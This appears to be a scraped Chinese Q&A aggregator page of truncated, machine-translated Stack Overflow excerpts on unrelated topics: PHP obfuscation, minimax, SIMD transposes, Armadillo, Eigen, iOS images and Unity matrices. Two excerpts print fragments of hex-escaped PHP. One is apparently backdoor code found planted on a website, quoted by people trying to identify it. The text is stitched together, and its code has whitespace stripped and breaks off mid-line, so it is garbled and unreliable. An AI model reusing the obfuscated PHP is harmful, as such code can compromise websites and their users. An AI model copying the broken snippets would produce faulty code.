jjzjj

php - 有没有人见过这样的 php 加密?

按照目前的情况,这个问题不适合我们的问答形式。我们希望答案得到事实、引用或专业知识的支持,但这个问题可能会引发辩论、争论、投票或扩展讨论。如果您觉得这个问题可以改进并可能重新打开,visitthehelpcenter指导。关闭9年前。我见过base64、mcrypt和blowfish,但我无法找出这段代码使用的是什么加密算法/方法。有人见过这种php加密吗?0){header("l\x6fc\x61\x74i\x6f\x6e:\x65\x72\x72or.p\x68\x70?er\x72\x3d\x31");}else{${"G\x4c\x4f\x42\x41\x4cS"}["z\x7

java - TicTacToe minimax 算法在 4x4 游戏中返回意外结果

在我的方法newminimax499中,我有一个利用内存和alphabeta修剪的minimax算法。该方法通常适用于3x3游戏,但是当我玩4x4游戏时,我会得到奇怪的、意想不到的计算机位置选择。他仍然从不输,但他似乎并不是为了赢而比赛。为了说明这里的问题,我们使用2个3x3和4x4游戏的场景。首先是一个3x3游戏的场景,其中玩家是X并迈出第一步:这还不错,事实上,这正是人们希望计算机执行的操作。现在来看一个4x4游戏的场景。同样,O是计算机,X启动:如您所见,计算机只是将Os一个接一个地按系统顺序排列,只有在它有可能获胜时才打破该顺序来阻止X。这是非常防守的打法,不像在3x3比赛中看

c++ - 如何优化 SIMD 转置函数(8x4 => 4x8)?

我需要使用AVX优化8x4和4x8浮点矩阵的转置。我使用AgnerFog的vectorclasslibrary.青色任务-构建BVH并求和最小值-最大值。转置用于每个循环的最后阶段(它们也通过多线程进行了优化,但任务确实很多)。代码现在看起来像:voidtranspose(registerVec4f(&fin)[8],registerVec8f(&mat)[4]){for(inti=0;i(Vec4i(0,8,16,24)+i,(float*)mat);}}需要优化的变体。如何为SIMD优化此功能?我最近用vector类编写了自己的转置变体(4x8和8x4)。版本1.0。voidtra

c++ - RcppArmadillo expmat 挂起 4x4 矩阵

我有一个病态的4x4矩阵,它使Armadillo中的expmat函数挂起。病理矩阵为:a.cpp文件如下所示:#include//[[Rcpp::depends(RcppArmadillo)]]usingnamespaceRcpp;usingnamespacearma;//[[Rcpp::export]]matexp_mat(matx){return(expmat(x));}将病理矩阵提供给此函数会使它挂起并显示一条消息:warning:solve():systemseemssingular;attemptingapproxsolution我知道这个矩阵的条件很差,但是R包“expm”

c++ - 如何在 Eigen 中翻译矩阵(4x4)?

如何在Eigen中翻译一个矩阵(4x4)?//identitymatrix4x4/*type=*/Eigen::Matrix/*name=*/result=Eigen::Matrix::Identity();//translationvector//3.0f//4.0f//5.0fTranslationtrans(3.0f,4.0f,5.0f);即,我有矩阵:1.00.00.00.00.01.00.00.00.00.01.00.00.00.00.01.0我想得到这个:1.00.00.03.00.01.00.04.00.00.01.05.00.00.00.01.0对吧?我该怎么做?我能做

iphone - 如何从 4X4 imageView 矩阵创建 1 个组合图像

我正在创建“拼图游戏”,为此我将单个图像分成4X4矩阵,如现在我有16个不同的imageView,我需要将它们组合成一个图像并存储在数据库中。那么是否可以将4x4矩阵图像组合成一个图像。 最佳答案 是的,而且相当容易。UIGraphicsBeginImageContext(fullSize);CGContextRefcontext=UIGraphicsGetCurrentContext();for(inti=0;iresult将是您创建的全尺寸图像(如果是4x4和40尺寸图像,则为160x160)编辑使用UIGraphicsBegi

ios - NSLog matrix_float4x4 或 simd::float4x4

Apple没有提供类似于“OpenCV”或“Eigen”的Accelerate矩阵调试工具吗?Eigen和OpenCV如何打印矩阵的示例代码Eigen::Matrix4fmatrix;std::cout4x4矩阵的输出-0.4836620.868590.1078151.84560.8650280.4555970.21013729.67810.1334050.194894-0.971709192.690001我想要的粗略近似值,但还不够一般。这是我的速成版。我最终可能会在处理C或C++版本的地方使它变得更彻底,但我真的希望Apple提供它,但我还没有找到文档。voidlogSIMD(co

Unity矩阵平移旋转缩放Matrix4x4

Unity矩阵平移旋转缩放Matrix4x4Unity中的矩阵(Matrix4x4)创建自定义模型平移矩阵缩放矩阵旋转矩阵Unity中的矩阵(Matrix4x4)最近在研究帧同步定点数物理系统中需要自定义定点数矩阵,所以在这里分享下基础的矩阵案例旋转、平移、缩放。(注意这里本文中的transform组件式基于unity浮点数的教程并非帧同步定点数)参考原文创建自定义模型参数可以参考我上图的参数,这里注意三个顶点是一个面,这里我上述的模型是一个三角形的面。usingSystem.Collections;usingSystem.Collections.Generic;usingUnityEngin

php - 在网站上发现奇怪的 index.php

我在我的网站上发现了一个奇怪的模糊文件“Index.php”。我不知道是谁将它放在我的页面上,但我想了解它的作用。首先通过用十六进制值替换字符来隐藏文件。${${"\x47L\x4fB\x41\x4cS"}["\x63k\x6d\x6acu\x69e"]}){${"\x47\x4cO\x42\x41\x4c\x53"}["d\x78\x77\x71o\x61lv\x61\x75\x65"]="\x6b";if(preg_match("!^[a-\x7a\x30-\x39]{10,\x332}\$\x21is",${${"\x47\x4cO\x42\x41LS"}["\x64\x78\x